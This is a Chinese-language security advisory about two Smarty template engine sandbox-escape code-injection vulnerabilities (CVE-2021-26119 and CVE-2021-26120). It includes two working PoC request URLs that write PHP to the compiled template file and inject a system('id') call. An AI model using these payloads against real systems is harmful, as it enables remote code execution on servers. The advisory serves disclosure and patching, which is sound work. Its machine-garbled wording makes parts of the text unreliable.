PHP Smarty模版代码注入缝隙(CVE-2021-26120)
颁布功夫 2021-02-260x00 缝隙概述
CVE ID | CVE-2021-26120 | 时 间 | 2021-02-26 |
类 型 | 代码注入 | 等 级 | 高危 |
远程利用 | 是 | 影响领域 | PHP Smarty < 3.1.39 |
0x01 缝隙详情

Smarty是通过PHP开发的模板引擎,它分隔了PHP逻辑代码与表观(HTML页)以便于治理。
近日,PHP Smarty被披露存在2个PHP代码注入缝隙(CVE-2021-26120和CVE-2021-26119),攻击者能够通过利用这些缝隙来注入肆意代码。
template_object沙箱逃逸PHP代码注入缝隙(CVE-2021-26119)
在Smarty中,Smarty从$smarty.template_object变量接见事俘,由于攻击者能够接见smarty或parent属性,从而能够接见Smarty事俘。成功利用此缝隙的攻击者能够通过机关恶意数据,最终造成远程代码执行。
POC代码如下(需两次运行,第一次写入缓存文件而后将其覆盖,第二次触发缓存并蕴含文件以执行远程代码。):
http://localhost:8000/page.php?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

Smarty_Internal_Runtime_TplFunction沙箱逃逸PHP代码注入缝隙(CVE-2021-26120)
由于Smarty在编译模板语法时,Smarty_Internal_Runtime_TplFunction类在界说时不能正确过滤name属性tplFunctions,攻击者能够通过注入Payload,最终远程执行代码。
PoC代码如下:
http://localhost:8000/page.php?poc=string:{function+name='rce(){};system("id");function+'}{/function}
0x02 措置建议
目前该缝隙已经建复,建议实时更新升级到3.1.39或更高版本。
链接如下:
https://github.com/smarty-php/smarty/blob/master/CHANGELOG.md
0x03 参考链接
https://github.com/smarty-php/smarty/security/advisories/GHSA-w5hr-jm4j-9jvq
https://github.com/smarty-php/smarty/security/advisories/GHSA-3rpf-5rqv-689q
https://srcincite.io/blog/2021/02/18/smarty-template-engine-multiple-sandbox-escape-vulnerabilities.html
0x04 功夫线
2021-02-18 Steven Seeley披露缝隙
2021-02-26 VSRC颁布安全公告
0x05 附录
CVSS评分尺度官网:http://www.first.org/cvss/



京公网安备11010802024551号